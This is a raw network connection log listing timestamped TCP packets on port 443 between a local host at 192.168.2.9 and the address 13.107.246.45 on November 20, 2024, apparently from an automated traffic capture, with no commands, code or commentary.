Nov 20, 2024 10:20:28.023271084 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.023675919 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.023725033 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.023730040 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.023796082 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.023847103 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.023864985 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.023875952 CET	49925	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.023881912 CET	443	49925	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.027230024 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.027272940 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.027354002 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.027568102 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.027581930 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.032540083 CET	443	49924	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.032643080 CET	443	49924	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.034603119 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.034603119 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.034603119 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.035406113 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.035451889 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.035624027 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.035785913 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.035795927 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.506661892 CET	49924	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.506700993 CET	443	49924	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.539145947 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.539868116 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.539896011 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.540419102 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.540427923 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.543869972 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.544277906 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.544306040 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.544672012 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.544677973 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.554970026 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.555547953 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.555560112 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.556227922 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.556232929 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.641993999 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.642402887 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.642508030 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.642684937 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.642684937 CET	49926	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.642705917 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.642716885 CET	443	49926	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.643081903 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.643301010 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.643357992 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.643364906 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.643397093 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.643534899 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.643548012 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.643560886 CET	49928	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.643567085 CET	443	49928	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.646086931 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.646092892 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.646123886 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.646143913 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.646203995 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.646248102 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.646404028 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.646413088 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.646415949 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.646429062 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.660933971 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.661015034 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.661129951 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.661554098 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.661555052 CET	49927	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.661576033 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.661588907 CET	443	49927	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.665539026 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.665594101 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.665674925 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.665848970 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.665862083 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.667629004 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.668117046 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.668144941 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.668628931 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.668637037 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.699233055 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.699871063 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.699897051 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.700392008 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.700398922 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.767945051 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.768027067 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.768244982 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.768444061 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.768465996 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.768480062 CET	49929	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.768486977 CET	443	49929	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.772206068 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.772252083 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.772361040 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.772778034 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.772787094 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.804330111 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.804563999 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.804790974 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.804836988 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.804836988 CET	49930	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.804860115 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.804871082 CET	443	49930	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.808636904 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.808680058 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:28.809057951 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.809057951 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:28.809098005 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.296328068 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.297080994 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.297110081 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.297662020 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.297672987 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.313484907 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.314068079 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.314100027 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.314464092 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.314471006 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.315452099 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.315742970 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.315763950 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.316081047 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.316086054 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.401880980 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.402048111 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.402151108 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.402335882 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.402368069 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.402385950 CET	49932	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.402393103 CET	443	49932	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.406147957 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.406198978 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.406286001 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.406488895 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.406506062 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.432534933 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.432568073 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.432619095 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.432729959 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.432770014 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.433070898 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.433100939 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.433121920 CET	49933	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.433130980 CET	443	49933	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.435662031 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.435692072 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.435750961 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.435770035 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.435806036 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.435925007 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.435945034 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.435957909 CET	49931	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.435964108 CET	443	49931	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.436870098 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.436913967 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.436984062 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.437144041 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.437155962 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.438015938 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.438050032 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.438117027 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.438267946 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.438282967 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.446598053 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.447217941 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.447247028 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.447707891 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.447715998 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.459110022 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.459650993 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.459686041 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.460135937 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.460145950 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.553287029 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.553462982 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.553533077 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.555794001 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.555818081 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.555833101 CET	49934	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.555840015 CET	443	49934	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.559109926 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.559151888 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.559231043 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.559375048 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.559387922 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.560972929 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.561078072 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.561141968 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.561208963 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.561208963 CET	49935	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.561242104 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.561269045 CET	443	49935	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.570007086 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.570076942 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:29.570164919 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.570360899 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:29.570391893 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.079022884 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.079032898 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.079703093 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.079735994 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.079802036 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.079833031 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.080199957 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.080208063 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.080446959 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.080451965 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.091727018 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.092430115 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.092463970 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.092991114 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.092995882 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.177974939 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.178177118 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.178232908 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.178914070 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.178936958 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.178951979 CET	49937	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.178956985 CET	443	49937	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.178957939 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.179018974 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.179068089 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.179195881 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.179215908 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.179230928 CET	49938	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.179238081 CET	443	49938	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.182954073 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.182997942 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.183119059 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.183264971 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.183275938 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.183274031 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.183334112 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.183393955 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.183475018 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.183495045 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.198959112 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.199006081 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.199095964 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.199103117 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.199167013 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.199445963 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.199460983 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.199476004 CET	49936	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.199481964 CET	443	49936	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.202970982 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.203023911 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.203118086 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.203304052 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.203329086 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.244057894 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.244745970 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.244777918 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.245299101 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.245306015 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.282521963 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.283639908 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.283695936 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.284213066 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.284224987 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.344664097 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.344856977 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.344906092 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.345053911 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.345053911 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.345227003 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.345273972 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.345319986 CET	49939	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.345336914 CET	443	49939	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.349225998 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.349286079 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.349395037 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.349672079 CET	49944	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.349685907 CET	443	49944	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.389379978 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.389468908 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.389533043 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.389873028 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.389905930 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.389926910 CET	49940	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.389935970 CET	443	49940	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.394006968 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.394053936 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.394164085 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.394377947 CET	49945	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.394387007 CET	443	49945	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.830899954 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.831665039 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.831681967 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.832077026 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.832082033 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.841968060 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.842413902 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.842434883 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.842647076 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.842650890 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.846879959 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.847202063 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.847237110 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.847527027 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.847534895 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.934544086 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.934588909 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.934649944 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.934694052 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.934756041 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.935148001 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.935163975 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.935177088 CET	49941	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.935183048 CET	443	49941	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.939822912 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.939881086 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.940021038 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.940285921 CET	49946	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.940300941 CET	443	49946	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.947504044 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.947576046 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.947838068 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.947943926 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.947963953 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.947978020 CET	49943	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.947983980 CET	443	49943	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.951301098 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.951354980 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.951463938 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.951669931 CET	49947	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.951678991 CET	443	49947	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.961283922 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.961425066 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.961564064 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.961720943 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.961720943 CET	49942	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:30.961740971 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.961752892 CET	443	49942	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:30.964167118 CET	49948	443	192.168.2.9	13.107.246.45
